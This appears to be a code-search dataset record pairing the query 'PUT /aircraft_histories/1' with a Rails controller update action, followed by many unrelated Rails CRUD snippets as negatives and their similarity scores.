"def create\n @history = History.new(history_params)\n\n respond_to do |format|\n if @history.save\n format.html { redirect_to @history, notice: 'History was successfully created.' }\n format.json { render action: 'show', status: :created, location: @history }\n else\n format.html { render action: 'new' }\n format.json { render json: @history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @room_history = RoomHistory.new(room_history_params)\n\n respond_to do |format|\n if @room_history.save\n format.html { redirect_to @room_history, notice: 'Room history was successfully created.' }\n format.json { render :show, status: :created, location: @room_history }\n else\n format.html { render :new }\n format.json { render json: @room_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @airport = Airport.new(airport_params)\n\n respond_to do |format|\n if @airport.save\n format.html { redirect_to @airport, notice: 'Airport was successfully created.' }\n format.json { render action: 'show', status: :created, location: @airport }\n else\n format.html { render action: 'new' }\n format.json { render json: @airport.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @audit_log = AuditLog.new(params[:audit_log])\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully created.') }\n format.xml { render :xml => @audit_log, :status => :created, :location => @audit_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @accessory_act = AccessoryAct.new(params[:accessory_act])\n\n respond_to do |format|\n if @accessory_act.save\n format.html { redirect_to @accessory_act, :notice => 'Accessory act was successfully created.' }\n format.json { render :json => @accessory_act, :status => :created, :location => @accessory_act }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @accessory_act.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n @visit_histories = VisitHistory.all\n end",
"def create\n @node_history = NodeHistory.new(node_history_params)\n\n respond_to do |format|\n if @node_history.save\n format.html { redirect_to @node_history, notice: 'Node history was successfully created.' }\n format.json { render :show, status: :created, location: @node_history }\n else\n format.html { render :new }\n format.json { render json: @node_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @qx_airport = Qx::Airport.new(qx_airport_params)\n\n respond_to do |format|\n if @qx_airport.save\n format.html { redirect_to @qx_airport, notice: 'Airport was successfully created.' }\n format.json { render :show, status: :created, location: @qx_airport }\n else\n format.html { render :new }\n format.json { render json: @qx_airport.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin_history = Admin::History.new(admin_history_params)\n\n respond_to do |format|\n if @admin_history.save\n format.html { redirect_to admin_histories_path, notice: '新增歷史成功' }\n format.json { render :show, status: :created, location: @admin_history }\n else\n format.html { render :new }\n format.json { render json: @admin_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @accessory = Accessory.new(params[:accessory])\n\n respond_to do |format|\n if @accessory.save\n format.html { redirect_to @accessory, notice: 'Accessory was successfully created.' }\n format.json { render json: @accessory, status: :created, location: @accessory }\n else\n format.html { render action: \"new\" }\n format.json { render json: @accessory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @observation = Observation.new(params[:observation])\n\n respond_to do |format|\n if @observation.save\n format.html { redirect_to @observation, notice: 'Observation was successfully created.' }\n format.json { render json: @observation, status: :created, location: @observation }\n else\n format.html { render action: \"new\" }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @history = History.new(history_params)\n @history.save\n end",
"def create\n @experience_history = ExperienceHistory.new(params[:experience_history])\n\n respond_to do |format|\n if @experience_history.save\n format.html { redirect_to @experience_history, notice: 'Experience history was successfully created.' }\n format.json { render json: @experience_history, status: :created, location: @experience_history }\n else\n format.html { render action: \"new\" }\n format.json { render json: @experience_history.errors, status: :unprocessable_entity }\n end\n end\n end"
] |
[
"0.6337723",
"0.59994936",
"0.588678",
"0.58084923",
"0.5748535",
"0.5648055",
"0.56187075",
"0.5613745",
"0.5592188",
"0.55539745",
"0.5476832",
"0.54742116",
"0.5469944",
"0.5442814",
"0.5433915",
"0.5395365",
"0.53786737",
"0.5364867",
"0.53593886",
"0.5341449",
"0.530511",
"0.52915573",
"0.52663326",
"0.52454215",
"0.5208517",
"0.52030677",
"0.5187534",
"0.51809174",
"0.51802856",
"0.5179187",
"0.5176448",
"0.51622885",
"0.51599354",
"0.51576024",
"0.5147453",
"0.51465917",
"0.5144579",
"0.51428723",
"0.51401234",
"0.51261336",
"0.51227474",
"0.50989616",
"0.5097952",
"0.50910234",
"0.5084759",
"0.5079832",
"0.50748444",
"0.5068598",
"0.50676525",
"0.50546306",
"0.50540745",
"0.5051844",
"0.5043424",
"0.5033911",
"0.5031693",
"0.50282514",
"0.5027782",
"0.5025698",
"0.5025698",
"0.50255895",
"0.501416",
"0.500892",
"0.50057834",
"0.50041664",
"0.4997407",
"0.49972498",
"0.4997004",
"0.499245",
"0.4992385",
"0.49851176",
"0.49815732",
"0.49814886",
"0.49804047",
"0.49716914",
"0.49686313",
"0.4964308",
"0.49615777",
"0.49561262",
"0.49534547",
"0.49473798",
"0.49467954",
"0.4941078",
"0.49392316",
"0.49361944",
"0.49356237",
"0.49324375",
"0.49307638",
"0.49290398",
"0.4928856",
"0.4928096",
"0.49269956",
"0.49268478",
"0.49253917",
"0.49233747",
"0.49215522",
"0.4919484",
"0.49193078",
"0.4919221",
"0.49187267",
"0.4918474"
] |
0.7189772
|
0
|
PUT /aircraft_histories/1 PUT /aircraft_histories/1.xml
|
def update
@aircraft_history = AircraftHistory.find(params[:id])
respond_to do |format|
if @aircraft_history.update_attributes(params[:aircraft_history])
format.html { redirect_to(@aircraft_history, :notice => 'Aircraft history was successfully updated.') }
format.xml { head :ok }
else
format.html { render :action => "edit" }
format.xml { render :xml => @aircraft_history.errors, :status => :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def create\n @aircraft = Aircraft.find(params[:aircraft_id])\n @aircraft_history = @aircraft.aircraft_histories.create(params[:aircraft_history])\n redirect_to aircraft_path(@aircraft)\n end",
"def update\n @historical = Historical.find(params[:id])\n\n respond_to do |format|\n if @historical.update_attributes(params[:historical])\n format.html { redirect_to @historical, notice: 'Historical was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historical.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @historial_odt = HistorialOdt.find(params[:id])\n\n respond_to do |format|\n if @historial_odt.update_attributes(params[:historial_odt])\n format.html { redirect_to @historial_odt, notice: 'Historial odt was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial_odt.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @historial = Historial.find(params[:id])\n\n respond_to do |format|\n if @historial.update_attributes(params[:historial])\n format.html { redirect_to @historial.cartucho, notice: 'Historial was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @ontology = SYMPH::Ontology.find(params[:id])\n\n respond_to do |format|\n if @ontology.update_attributes(params[:ontology])\n flash[:notice] = 'Ontology was successfully updated.'\n format.html { redirect_to(ontologies_url) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @ontology.errors, :status => :unprocessable_entity }\n end\n end\n\t\n end",
"def update\n @vehicle_historic = VehicleHistoric.find(params[:id])\n @vehicle_historic.status = \"aberto\"\n\n respond_to do |format|\n if @vehicle_historic.update_attributes(params[:vehicle_historic])\n format.html { redirect_to(@vehicle_historic, :notice => 'Vehicle historic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @vehicle_historic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n update_resource_response(@headline, headline_params)\n end",
"def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @historial.update(historial_params)\n format.html { redirect_to @historial, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @historial }\n else\n format.html { render :edit }\n format.json { render json: @historial.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @historic.update(historic_params)\n format.html { redirect_to @historic, notice: 'Historic was successfully updated.' }\n format.json { render :show, status: :ok, location: @historic }\n else\n format.html { render :edit }\n format.json { render json: @historic.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @histroal.update(histroal_params)\n format.html { redirect_to @histroal, notice: 'Historial was successfully updated.' }\n format.json { render :show, status: :ok, location: @histroal }\n else\n format.html { render :edit }\n format.json { render json: @histroal.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @arthicle.update(arthicle_params)\n format.html { redirect_to @arthicle, notice: 'Arthicle was successfully updated.' }\n format.json { render :show, status: :ok, location: @arthicle }\n else\n format.html { render :edit }\n format.json { render json: @arthicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @machine_historic = MachineHistoric.find(params[:id])\n @machine_historic.status = \"aberto\"\n\n respond_to do |format|\n if @machine_historic.update_attributes(params[:machine_historic])\n format.html { redirect_to(@machine_historic, :notice => 'Vehicle historic was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @machine_historic.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @accessory = Accessory.find(params[:id])\n\n if @accessory.update_attributes(params[:accessory])\n head :no_content\n else\n render json: @accessory.errors, status: :unprocessable_entity\n end\n end",
"def update\n @history = History.find(params[:id])\n respond_to do |format|\n\n @history.update(status: 0)\n format.html { redirect_to @history, notice: 'Released successfully!!' }\n\n end\n end",
"def update\n respond_to do |format|\n if @water_history.update(water_history_params)\n format.html { redirect_to @water_history, notice: 'Water history was successfully updated.' }\n format.json { render :show, status: :ok, location: @water_history }\n else\n format.html { render :edit }\n format.json { render json: @water_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @asset_allocation_history = AssetAllocationHistory.find(params[:id])\n\n respond_to do |format|\n if @asset_allocation_history.update_attributes(params[:asset_allocation_history])\n format.html { redirect_to @asset_allocation_history, notice: 'Asset allocation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @asset_allocation_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n old = @hr_person\n if @hr_person.update(hr_person_params)\n if params[:change_seat]\n @hr_person.hr_person_histories.create(old.attributes.except('id', 'created_by', 'updated_by', 'created_at', 'updated_at'))\n end\n format.html { render :js => view_context.close_window_show_tips('parent.MAIN_LAYER_WINDOW', '资料创建成功!') }\n format.json { render :show, status: :ok, location: @hr_person }\n else\n format.html { render :edit }\n format.json { render json: @hr_person.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @housing = Housing.find(params[:id])\n\n respond_to do |format|\n if @housing.update_attributes(params[:housing])\n flash[:notice] = 'Housing was successfully updated.'\n format.html { redirect_to(@housing) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @housing.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @hive = Hive.find(params[:id])\n\n respond_to do |format|\n if @hive.update_attributes(params[:hive])\n format.html { redirect_to @hive, notice: 'Hive was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @hive.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thermostat_history.update(thermostat_history_params)\n format.html { redirect_to @thermostat_history, notice: 'Thermostat history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @thermostat_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @illness_history = current_user.illness_histories.find(params[:id])\n\n respond_to do |format|\n if @illness_history.update_attributes(params[:illness_history])\n flash[:notice] = 'IllnessHistory was successfully updated.'\n format.html { redirect_to(medical_histories_path) }\n else\n format.html { render :action => \"edit\" }\n end\n end\n end",
"def update\n @operation_history = OperationHistory.find(params[:id])\n\n respond_to do |format|\n if @operation_history.update_attributes(params[:operation_history])\n format.html { redirect_to @operation_history, notice: 'Operation history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @operation_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @aircraft_model = AircraftModel.find(params[:id])\n\n respond_to do |format|\n if @aircraft_model.update_attributes(params[:aircraft_model])\n add_to_log(t('Aircraft model updated log') + @aircraft_model.name,\"aircraft_models\",\"update\")\n flash[:notice] = t('Aircaft model updated')\n format.html { redirect_to(@aircraft_model) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @aircraft_model.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_historic\n @historic = Historic.find(params[:id])\n end",
"def update\n id = params[:id]\n @physical_rack = PhysicalRack.any_of({_id: id}, {name: id.gsub('-', '.')}).first\n @physical_rack.attributes = params[:physical_rack]\n @physical_rack.audits << Audit.new(source: 'controller', action: 'update', admin_user: current_user)\n respond_to do |format|\n if @physical_rack.save\n format.html { redirect_to @physical_rack, notice: 'Physical rack was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @physical_rack.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, attributes)\n # attributes = {name: 'chocolate and peanuts', calories: 10}\nend",
"def update\n @accessory = Accessory.find(params[:id])\n\n respond_to do |format|\n if @accessory.update_attributes(params[:accessory])\n flash[:notice] = 'Accessory was successfully updated.'\n format.html { redirect_to(@accessory) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @accessory.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @horace = Horace.find(params[:id])\n\n respond_to do |format|\n if @horace.update_attributes(params[:horace])\n format.html { redirect_to @horace, notice: 'Horace was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @horace.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @history_thermostat.update(history_thermostat_params)\n format.html { redirect_to @history_thermostat, notice: 'History thermostat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @history_thermostat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend",
"def update\n respond_to do |format|\n if @apology.update(apology_params)\n format.html { redirect_to @apology, notice: 'Apology was successfully updated.' }\n format.json { render :show, status: :ok, location: @apology }\n else\n format.html { render :edit }\n format.json { render json: @apology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @airline.update(airline_params)\n json_response(@airline.decorate.as_json(airplanes_details: true),\n :ok)\n else\n json_response(@airline.errors, :unprocessable_entity)\n end\n end",
"def update opts = {}\n opts[:headers] ||= {}\n opts[:headers]['Content-Type'] ||= 'text/xml'\n post 'update', opts\n end",
"def update\n respond_to do |format|\n if @astronomium.update(astronomium_params)\n format.html { redirect_to @astronomium, notice: 'Astronomium was successfully updated.' }\n format.json { render :show, status: :ok, location: @astronomium }\n else\n format.html { render :edit }\n format.json { render json: @astronomium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @atricle.update(atricle_params)\n format.html { redirect_to @atricle, notice: \"Atricle was successfully updated.\" }\n format.json { render :show, status: :ok, location: @atricle }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @atricle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @atricle.update(atricle_params)\n format.html { redirect_to @atricle, notice: 'Atricle was successfully updated.' }\n format.json { render :show, status: :ok, location: @atricle }\n else\n format.html { render :edit }\n format.json { render json: @atricle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update \n respond_to do |format|\n if @auditorium.update_attributes(params[:auditorium])\n format.html { redirect_to [:admin, @theatre, @auditorium], notice: 'Auditorium was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @auditorium.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @haircut.update(haircut_params)\n format.html { redirect_to @haircut, notice: 'Haircut was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @haircut.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @ontology.update(ontology_params)\n format.html { redirect_to @ontology, notice: 'Ontology was successfully updated.' }\n format.json { render :show, status: :ok, location: @ontology }\n else\n format.html { render :edit }\n format.json { render json: @ontology.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @airline = Airline.find(params[:id])\n\n respond_to do |format|\n if @airline.update_attributes(params[:airline])\n format.html { redirect_to(@airline, :notice => 'Travel form was successfully created.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @airline.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @chair = Chair.find(params[:id])\n\n respond_to do |format|\n if @chair.update_attributes(params[:chair])\n format.html { redirect_to @chair, notice: 'Chair was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @habitat = Habitat.find(params[:id])\n\n respond_to do |format|\n if @habitat.update_attributes(params[:habitat])\n flash[:notice] = 'Habitat was successfully updated.'\n format.html { redirect_to habitat_url(@habitat) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @habitat.errors.to_xml }\n end\n end\n end",
"def update\n @hpt_history = HptHistory.find(params[:id])\n\n respond_to do |format|\n if @hpt_history.update_attributes(params[:hpt_history])\n flash[:notice] = 'HptHistory was successfully updated.'\n format.html { redirect_to(@hpt_history) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hpt_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_aircraft\n @aircraft = Aircraft.find(params[:id])\n end",
"def set_aircraft\n @aircraft = Aircraft.find(params[:id])\n end",
"def show\n @aircraft_history = AircraftHistory.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @aircraft_history }\n end\n end",
"def update\n @hr = Hr.find(params[:id])\n respond_to do |format|\n if @hr.update_attributes(params[:hr])\n format.html { redirect_to(@hr, :notice => 'Hr was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @hr.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def destroy\n @aircraft_history = AircraftHistory.find(params[:id])\n @aircraft_history.destroy\n\n respond_to do |format|\n format.html { redirect_to(aircraft_histories_url) }\n format.xml { head :ok }\n end\n end",
"def update\n @settlement_history = Settlement::History.find(params[:id])\n\n respond_to do |format|\n if @settlement_history.update_attributes(params[:settlement_history])\n format.html { redirect_to @settlement_history, notice: 'History was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @settlement_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @foodhistory.update(foodhistory_params)\n format.html { redirect_to @foodhistory, notice: 'Foodhistory was successfully updated.' }\n format.json { render :show, status: :ok, location: @foodhistory }\n else\n format.html { render :edit }\n format.json { render json: @foodhistory.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @harvest_history.update(harvest_history_params)\n format.html { redirect_to @harvest_history, notice: 'Harvest history was successfully updated.' }\n format.json { render :show, status: :ok, location: @harvest_history }\n else\n format.html { render :edit }\n format.json { render json: @harvest_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @airline.update(airline_params)\n format.html { redirect_to @airline, notice: 'Airline was successfully updated.' }\n format.json { render :show, status: :ok, location: @airline }\n else\n format.html { render :edit }\n format.json { render json: @airline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @aircraft.update(aircraft_params)\n format.html { redirect_to @aircraft, notice: \"Aircraft was successfully updated.\" }\n format.json { render :show, status: :ok, location: @aircraft }\n else\n format.html { render :edit, status: :unprocessable_entity }\n format.json { render json: @aircraft.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @helibasis = Helibase.find(params[:id])\n\n respond_to do |format|\n if @helibasis.update_attributes(params[:helibasis])\n format.html { redirect_to(@helibasis, :notice => 'Helibase was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @helibasis.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @mt_overhead_energy_data = MtOverheadEnergyData.find(params[:id])\n\n respond_to do |format|\n if @mt_overhead_energy_data.update_attributes(params[:mt_overhead_energy_data])\n format.html { redirect_to(@mt_overhead_energy_data) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @mt_overhead_energy_data.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @archiv = Archiv.find(params[:id])\n\n respond_to do |format|\n if @archiv.update_attributes(params[:archiv])\n format.html { redirect_to @archiv, notice: 'Erfolg wurde bearbeitet.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @archiv.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @buying_history = BuyingHistory.find(params[:id])\n\n respond_to do |format|\n if @buying_history.update_attributes(params[:buying_history])\n format.html { redirect_to @buying_history, :notice => 'Buying history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @buying_history.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @cocktail_history = CocktailHistory.find(params[:id])\n\n respond_to do |format|\n if @cocktail_history.update_attributes(params[:cocktail_history])\n format.html { redirect_to @cocktail_history, notice: 'Cocktail history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cocktail_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @chamado = Chamado.find(params[:id])\n\n respond_to do |format|\n if @chamado.update_attributes(params[:chamado])\n #Cria historico\n Audit.create(:idchamado => @chamado.id, :tipousuario => 1, :mudancas => @chamado.tracked_changes)\n \n format.html { redirect_to @chamado, notice: 'Chamado was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chamado.errors, status: :unprocessable_entity }\n end\n end\n end",
"def test_put\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n contents = last_response.body\n contents_id = contents['_id']\n\n data = File.read 'sample-traces/1.json'\n put(\"/traces/#{contents_id}\", data, 'CONTENT_TYPE': 'application/json')\n contents = last_response.body\n\n assert_equal contents_id, contents['_id']\n end",
"def update\n @bowl = Bowl.find(params[:id])\n \n # set bowl modify time\n @bowl.modified = Time.now\n \n respond_to do |format|\n if @bowl.update_attributes(params[:bowl])\n \n Rails.logger.info \"Updating Bowl Contents\"\n \n # remove all contents for this bowl and add new\n @bowl.contents.delete_all(\"bowl_id=\" + @bowl.id)\n \n params.keys.each do |param|\n if param.start_with?(\"input_\") and (params[param] != \"\") \n @bowl.contents.create(:bowl_id => @bowl.id, :dryfruit_id => param[6, 2], :quantity => params[param]) \n end\n end\n\n format.html { redirect_to bowls_path, :notice => 'Bowl was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @bowl.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @arrendimientospago = Arrendimientospago.find(params[:id])\n\n respond_to do |format|\n if @arrendimientospago.update_attributes(params[:arrendimientospago])\n format.html { redirect_to(@arrendimientospago, :notice => 'Arrendimientospago was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @arrendimientospago.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @ocat = Ocat.find(params[:id])\n\n respond_to do |format|\n if @ocat.update_attributes(params[:ocat])\n format.html { redirect_to @ocat, notice: 'Ocat was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @ocat.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @orc_ata = OrcAta.find(params[:id])\n\n respond_to do |format|\n if @orc_ata.update_attributes(params[:orc_ata])\n flash[:notice] = 'SALVO COM SUCESSO'\n format.html { redirect_to(@orc_ata) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @orc_ata.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @chronicle = Chronicle.find(params[:id])\n\n respond_to do |format|\n if @chronicle.update_attributes(params[:chronicle])\n format.html { redirect_to @chronicle, notice: 'Chronicle was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @chronicle.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n #@fundamentals_history = FundamentalsHistory.find(params[:id])\n @fundamentals_history = @company.fundamentals_histories.find(params[:id])\n\n respond_to do |format|\n if @fundamentals_history.update_attributes(params[:fundamentals_history])\n format.html { redirect_to @fundamentals_history, notice: 'Fundamentals history was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @fundamentals_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @airlin = Airlin.find(params[:id])\n\n respond_to do |format|\n if @airlin.update_attributes(params[:airlin])\n format.html { redirect_to @airlin, notice: 'Airlin was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @airlin.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @airport = Airport.find(params[:id])\n\n respond_to do |format|\n if @airport.update_attributes(params[:airport])\n format.html { redirect_to @airport, notice: 'Airport was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @airport.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @observation = Observation.find(params[:id])\n\n respond_to do |format|\n if @observation.update_attributes(params[:observation])\n format.html { redirect_to @observation, notice: 'Observation was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @observation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @article_history.update(article_history_params)\n format.html { redirect_to @article_history, notice: 'Article history was successfully updated.' }\n format.json { render :show, status: :ok, location: @article_history }\n else\n format.html { render :edit }\n format.json { render json: @article_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @log = Log.create(:user_id => params[:uid], :action => 'update') \n @fridge_food = FridgeFood.find(params[:id])\n\n exp = Time.parse(\"#{params[:day]}/#{params[:month]}/#{params[:year]}\")\n \n @fridge_food.update_attributes(:desc => params[:desc], :expiration => exp)\n @fridge_food.save! \n \n redirect_to @fridge_food \n #respond_to do |format|\n # format.html { render :inline => \"\" + state }\n # format.xml { render :xml => @fridge_food }\n #end\n end",
"def update\n @shelf = Shelf.find(params[:id])\n\n respond_to do |format|\n if @shelf.update_attributes(params[:shelf])\n flash[:notice] = 'Shelf was successfully updated.'\n format.html { redirect_to(@shelf) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @shelf.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @hair.update(hair_params)\n format.html { redirect_to @hair, notice: 'Hair was successfully updated.' }\n format.json { render :show, status: :ok, location: @hair }\n else\n format.html { render :edit }\n format.json { render json: @hair.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_aircraft\n @aircraft = Aircraft.find(params[:id])\n end",
"def update\n @habit = Habit.find(params[:id])\n\n respond_to do |format|\n if @habit.update_attributes(params[:habit])\n format.html { redirect_to @habit, notice: 'Habit was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @habit.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @heat_log = HeatLog.find(params[:id])\n\n respond_to do |format|\n if @heat_log.update_attributes(params[:heat_log])\n format.html { redirect_to @heat_log, notice: 'Heat log was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @heat_log.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @barrio = Barrio.find(params[:id])\n\n respond_to do |format|\n if @barrio.update_attributes(params[:barrio])\n format.html { redirect_to(@barrio, :notice => 'Barrio was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @barrio.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @reading_history = current_user.reading_histories.find(params[:id])\n\n respond_to do |format|\n if @reading_history.update_attributes(params[:reading_history])\n data_new = params[:reading_history]\n format.html { redirect_to data_new[\"html_path\"], notice: data_new.to_s }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @reading_history.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_historial\n @historial = Historial.find(params[:id])\n end",
"def set_historial\n @historial = Historial.find(params[:id])\n end",
